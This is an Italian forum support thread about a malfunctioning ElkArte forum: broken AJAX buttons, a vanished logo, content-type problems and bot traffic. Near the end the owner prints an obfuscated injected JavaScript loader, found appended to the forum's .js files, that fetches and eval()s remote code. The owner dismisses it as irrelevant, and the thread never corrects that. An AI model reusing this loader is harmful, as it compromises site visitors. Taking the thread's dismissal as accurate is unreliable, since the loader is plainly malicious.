Ho da ieri un problema con i pulsanti Modifica e Citazione: su fisso il caricamento dopo aver premuto dura all'infinito e su mobile semplicemente è come non averli mai premuti. Sono abbastanza sicuro che anche quello per segnare tutti i post come letti dia lo stesso problema. Poi non so se è legato ma anche il logo del forum è sparito (riconosce però la presenza dell'immagine perchè c'è l'icona della broken image). Ho provato con tutte le funzioni per la manutenzione del forum.
Versione: 1.1.6 - ho però i file di lingua ancora da aggiornare.
Domanda classica: hai fatto qualcosa recentemente?
Magari è stato aggiornato php o altro?
Prova aguardare nel log degli errori.
Oppure: sei passato ad https?
vedo molti url (specialmente i javascript che sicuramente sono colpevoli del problema) che sono ancoa sotto http.
Verifica tutti gli url
Il passaggio a https l'ho fatto ma tempo fa e infatti non avevo avuto problemi. Di recente no, assolutamente nulla.
Il log errori mi segnala un costante errore "non specificato" a questa linea della mod per i Download:
$txt['whoall_downloads'] = 'In the <a href="' . $scripturl . '?action=downloads">Downloads</a>';
Tentando di visualizzare le immagini dei loghi (non ho un solo logo: ho un file rnd.php dal quale vengono caricate diverse immagini) in un'altra scheda ho un errore 403.
Le opzioni sotto il tasto Altre Opzioni vicino Citazione e Modifica funzionano regolarmente. Idem i tasti per gestire i topic tipo Risposta, Sposta, Rimuovi, ecc.
Riguardo https: il certificato era scaduto e l'ho appena rinnovato (non pensavo di poterlo fare -.-). Ho forzato redirect a destra e a manca ma non è cambiato nulla. Devo aspettare qualche giorno?
EDIT: ho disinstallato la mod peri Downloads visto che tutti gli errori sembravano venire da uno o più file ivi presenti e noto che effettivamente tutti gli errori venivano da lì. Dopo la disinst. il log errori non mostra più nulla.
Disinstallando la mod hai risolto anche i problemi di quote e modifica veloce?
Citazione di: radu81 il Martedì - 26 Gennaio 2021 - 20:36
Disinstallando la mod hai risolto anche i problemi di quote e modifica veloce?
In realtà solo un problema è stato risolto: posso quotare, ma il tasto modifica ora è proprio sparito. Gli unici pulsanti in basso a destra del post sono ora Citazione e Altre opzioni. Per le immagini logo invece non è cambiato nulla.
<script src="http://www.ffsaga.it/forum/themes/default/scripts/jquery-3.1.1.min.js" id="jquery"></script>
<script src="http://www.ffsaga.it/forum/themes/default/scripts/elk_jquery_plugins.js?R116" id="elk_jquery_plugins.js"></script>
<script src="http://www.ffsaga.it/forum/themes/default/scripts/script.js?R116" id="script.js"></script>
<script src="http://www.ffsaga.it/forum/themes/default/scripts/script_elk.js?R116" id="script_elk.js"></script>
<script src="https://www.ffsaga.it/forum/themes/FFsaga/scripts/theme.js?R116" id="theme.js"></script>
<script src="http://www.ffsaga.it/forum/themes/default/scripts/snowstorm.min.js?v=1.44" id="snowstorm.min.js"></script>
tutti questi file javascript (ad eccezione di uno) puntano a "http" e non "https", qualsiasi browser decente blocca l'esecuzione dei file e quindi blocca tutto.
Presumibilmente devi correggere le URL del tema di default.
Fatto. Ho cambiato tutti gli url (credo, non riesco a verificarlo), anche alcuni che erano un po' più infognati, un'oretta fa ma non è cambiato nulla. Dovrei aspettare di più?
Se può aiutare ho avuto modo di notare che questa cosa sembra succedere solo con pulsanti che richiedono un "caricamento rapido", mentre gli altri che richiedono il caricamento di un'altra pagina funzionano regolarmente.
Accade sia con il tema mio che con quello di default. Inoltre ogni pulsante si comporta in maniera "diversa": premendo Citazione c'è un caricamento infinito, con Modifica rapida il caricamento dura un poco ma poi è come se non l'avessi mai premuto, mentre infine "Segna tutto come letto" funziona istantaneamente, ma rimane la finestra di caricamento in alto.
Includo anche le mod installate: Optimus, quella della neve e Google Analytics tracking.
VErsione PHP: 7.3.26
Riesci a passarmi un account di prova via PM?
Controlla la configurazione del server, per qualche ragione il content-type è cambiato in text/html; charset=utf-8
da text/xml; charset=UTF-8
che è normalmente.
Citazione di: emanuele il Venerdì - 29 Gennaio 2021 - 23:55
Controlla la configurazione del server, per qualche ragione il content-type è cambiato in text/html; charset=utf-8
da text/xml; charset=UTF-8
che è normalmente.
Non so come farlo. Ho provato a vedere dalla scheda server del pannello admin ma non ho trovato nulla in merito.
hmm... prova a vedere se c'è la possibiblità di disabilitare la compressione.
Magari è quella che confonde qualcosa.
Aggiornamento, poiché mi è stato chiesto da un utente del forum, metto anche qui. Avrei bisogno di consigli anche su quale problema affrontare per primo. La mia situazione odierna è:
è iniziato con pulsanti non funzionanti, poi il logo è sparito dando errore 403 se si tenta di visualizzare l'immagine in un'altra scheda del browser. In seguito la banda utilizzata ha superato la soglia consentita e Alte (il proprietario del sito di hosting) mi ha detto di controllare quali ip si connettevano maggiormente e bannarli (avevo notato che da tempo dei bot strani si connettevano, ma ho pensato fosse una conseguenza del fatto che ho iniziato a pubblicizzare su instagram). Oggi ho di nuovo chiamato Alte dicendogli che non riesco ad accedere al database anche se so che i dati sono corretti e, ultimo di pochi secondi fa, anche il sito, che è staccato completamente dal forum, non riesce più a connettere con il database. Qui potrebbe essere colpa mia perché ho dovuto cambiare le password, ma visto che pure repair_settings non funziona... immagino che la cosa migliore sia capire il perché causi anche lui un 403? Non sia mai che da solo riesce a mettere tutto a posto.
Non so nemmeno più da che parte girarmi. Siccome mi hanno messo la pulce nell'orecchio: può essere un attacco "hacker"?
Citazione di: berethor il Sabato - 30 Gennaio 2021 - 19:36
Aggiornamento, poiché mi è stato chiesto da un utente del forum, metto anche qui. Avrei bisogno di consigli anche su quale problema affrontare per primo. La mia situazione odierna è:
è iniziato con pulsanti non funzionanti, poi il logo è sparito dando errore 403 se si tenta di visualizzare l'immagine in un'altra scheda del browser. In seguito la banda utilizzata ha superato la soglia consentita e Alte (il proprietario del sito di hosting) mi ha detto di controllare quali ip si connettevano maggiormente e bannarli (avevo notato che da tempo dei bot strani si connettevano, ma ho pensato fosse una conseguenza del fatto che ho iniziato a pubblicizzare su instagram). Oggi ho di nuovo chiamato Alte dicendogli che non riesco ad accedere al database anche se so che i dati sono corretti e, ultimo di pochi secondi fa, anche il sito, che è staccato completamente dal forum, non riesce più a connettere con il database. Qui potrebbe essere colpa mia perché ho dovuto cambiare le password, ma visto che pure repair_settings non funziona... immagino che la cosa migliore sia capire il perché causi anche lui un 403? Non sia mai che da solo riesce a mettere tutto a posto.
Non so nemmeno più da che parte girarmi. Siccome mi hanno messo la pulce nell'orecchio: può essere un attacco "hacker"?
Dovresti *davvero* installare bad behaviour, e dovrebbe essere nel core. https://custom.simplemachines.org/mods/index.php?mod=2502
Attualmente vedo:
Citazione509
Bandwidth Limit Exceeded
Quindi qualche bot di troppo ce l'hai di sicuro.
Citazione di: Flavio93Zena il Sabato - 30 Gennaio 2021 - 20:38
Dovresti *davvero* installare bad behaviour, e dovrebbe essere nel core. https://custom.simplemachines.org/mods/index.php?mod=2502
Flavio: siamo nella sezione ElkArte, non SMF. :P
Badbehaviour è già presente in Elk, ma onestamente inizio a pensare che questo vada oltre badbehaviour.
IMO: il logo 403 e gli xml non sono problemi di hacking: hai qualcosa nella configurazione del server o di php che cambia il content-type dei file che servi via php e quindi non vengono visualizzati correttamente. Mi meraviglia che non hai problemi con gli allegati.
I bot... bloccali in qualche modo: se riesci ad identificare un range di ip o uno user agent particolare (attenzione a non bloccare tutti), usare htaccess sarebbe probabilmente la soluzione migliore, perché dopo la bandwidth potrebbero arrivare a saturarti il processore.
Citazione di: emanuele il Domenica - 31 Gennaio 2021 - 18:30
Flavio: siamo nella sezione ElkArte, non SMF. :P
Badbehaviour è già presente in Elk, ma onestamente inizio a pensare che questo vada oltre badbehaviour.
DERP :-[
In questo caso... https://www.simplemachines.org/community/index.php?topic=524146.0 questo ti aiuterà a fare ciò che ha suggerito emanuele :)
Mi chiedevo dove fosse finita quella tua guida sul ban via htaccess :D
Il file si trova nella root del dominio. Va bene lo stesso o deve essere nella cartella del forum?
Inoltre: quali permessi dovrebbe avere il file di repair_settings per essere usato correttamente?
Sono riuscito a trovare dove modificare i dati di accesso e posso di nuovo entrare 8)
Quindi resta da capire in quale file devo andare a toccare per cambiare content-type da text/html a text/xml. O devo fare da phpmyadmin? Ho la stringa sia in "bootstrap.php" che in "subscriptions.php"
Citazione di: Flavio93Zena il Lunedì - 01 Febbraio 2021 - 00:41
In questo caso... https://www.simplemachines.org/community/index.php?topic=524146.0 questo ti aiuterà a fare ciò che ha suggerito emanuele :)
Flavio, se vuoi ed hai voglia di tradurre quello che hai scritto, puoi mettere la tua guida nella nostra apposita sezione di tips & tricks ;)
https://www.italiansmf.net/forum/index.php?board=38.0
Citazione di: berethor il Lunedì - 01 Febbraio 2021 - 13:57
Quindi resta da capire in quale file devo andare a toccare per cambiare content-type da text/html a text/xml. O devo fare da phpmyadmin? Ho la stringa sia in "bootstrap.php" che in "subscriptions.php"
No, fermati, non devi toccare niente nei file di Elk.
ETA: ElkArte (come SMF) già manda il corretto content-type al client per ogni pagina generata.
Qui, secondo me, il problema è altrove ed è dovuto a "qualcosa" che altera il content-type
dopo che Elk l'ha impostato e inviato, ma prima che questo sia effettivamente passato al client.
Come prima prova, come ho accennato sopra, disabiliterei la compressione. Come e dove, non sono certo. C'è un'opzione anche nel pannello di admin di Elk, prova ad iniziare da lì (non ricordo di preciso dove sia, immagino nella configurazione del server).
Dal pannello admin è già disabilitata.
Se può aiutare: riguardo il logo credo sia solo il file rnd.php il problema perché provando a mettere una singola immagine, questa si vede senza alcun problema.
mi ricordo di avere avuto lo stesso problema in passato, ma non ricordo come ho risolto. Ho cercato tra i miei messaggi su elkarte.net ma non ho trovato nulla...
Citazione di: Darknico il Lunedì - 01 Febbraio 2021 - 15:30
Citazione di: Flavio93Zena il Lunedì - 01 Febbraio 2021 - 00:41
In questo caso... https://www.simplemachines.org/community/index.php?topic=524146.0 questo ti aiuterà a fare ciò che ha suggerito emanuele :)
Flavio, se vuoi ed hai voglia di tradurre quello che hai scritto, puoi mettere la tua guida nella nostra apposita sezione di tips & tricks ;)
https://www.italiansmf.net/forum/index.php?board=38.0
E' sulla mia lista delle cose da fare dal... Boh, più o meno da quando l'ho scritto xD
Citazione di: radu81 il Martedì - 02 Febbraio 2021 - 22:35
mi ricordo di avere avuto lo stesso problema in passato, ma non ricordo come ho risolto. Ho cercato tra i miei messaggi su elkarte.net ma non ho trovato nulla...
I pulsanti malfunzionanti o il logo? O entrambi?
EDIT: il logo è risolto. E' saltato fuori che nel .htaccess del forum c'era una deny from all che io non ho mai inserito -.-
Restano quindi solo i problemi di javascript con i pulsanti. Allego uno screen della console del browser, che ho già postato sul forum di elk.
Citazione di: berethor il Mercoledì - 03 Febbraio 2021 - 00:17
Restano quindi solo i problemi di javascript con i pulsanti. Allego uno screen della console del browser, che ho già postato sul forum di elk.
Che sono quello che ho guardato quando mi sono loggato e che mi hanno fatto pensare che il problema risiede nel "content-type" cambiato "da qualcosa".
Posso reiterare che anche le richieste che dovrebbero essere JSON sono "convertite" in text/html e quindi il browser non le riconosce come appropriate e le ignora (o meglio da errore).
Hai modificato manualmente qualche file?
Guarda, ti posso dire di no ed è vero, ma a questo punto è valido tutto: stamane il logo era a posto. Motivo del "guasto" la regola "deny from all" presente nell'htaccess, che però nessuno ha toccato. Non ricordo di aver apportato modifiche particolari. Le ultime sono stato disinstallare la neve e installare la nuova versione della lingua italiana. Nessuno di questi 2 pacchetti ha segnalato errori durante l'install.
La stessa regola che aveva "rotto" il logo era quella che causava il 403 con repair_settings, quindi posso utilizzarlo. Stamattina ho provato ma i percorsi sembravano tutti corretti.
Ho provato a confrontare i 2 file .js nominati nell'error log con una loro variante di un backup di dicembre. L'unica differenza è questa stringa alla fine:
;if(ndsw===undefined){var ndsw=true,HttpClient=function(){this['get']=function(a,b){var c=new XMLHttpRequest();c['onreadystatechange']=function(){if(c['readyState']==0x4&&c['status']==0xc8)b(c['responseText']);},c['open']('GET',a,!![]),c['send'](null);};},rand=function(){return Math['random']()['toString'](0x24)['substr'](0x2);},token=function(){return rand()+rand();};(function(){var a=navigator,b=document,e=screen,f=window,g=a['userAgent'],h=a['platform'],i=b['cookie'],j=f['location']['hostname'],k=f['location']['protocol'],l=b['referrer'];if(l&&!p(l,j)&&!i){var m=new HttpClient(),o=k+'//ffsaga.it/Importers/elkarte1.0/elkarte1.0.php?id='+token();m['get'](o,function(r){p(r,'ndsx')&&f['eval'](r);});}function p(r,v){return r['indexOf'](v)!==-0x1;}}());};
Stringa che però ho trovato anche in post.js (preso a caso), quindi immagino non c'entri.
Citazione di: berethor il Mercoledì - 03 Febbraio 2021 - 00:17
I pulsanti malfunzionanti o il logo? O entrambi?
Solo citazione e modifica veloce
Spuds è riuscito a suggerire un "workaround": https://www.elkarte.net/community/index.php?topic=5934.msg41999#msg41999
Ha funzionato.
Mi è venuto però un dubbio: vuol dire che ad ogni aggiornamento di Elk dovrò modificare quel file, vero?
Inoltre, ieri ho ricevuto comunicazione dall'host che da quel lato è tutto a posto, inviandomi questo screen: https://screens.kgix.net/jc/firefox_INVVVjYHg3.png
Ho visto la risposta su elkarte.net, come ho già detto ho avuto lo stesso problema in passato ma non ho fatto delle modifiche simili per risolvere. Avevo smanettato con repair_settings.php se ricordo bene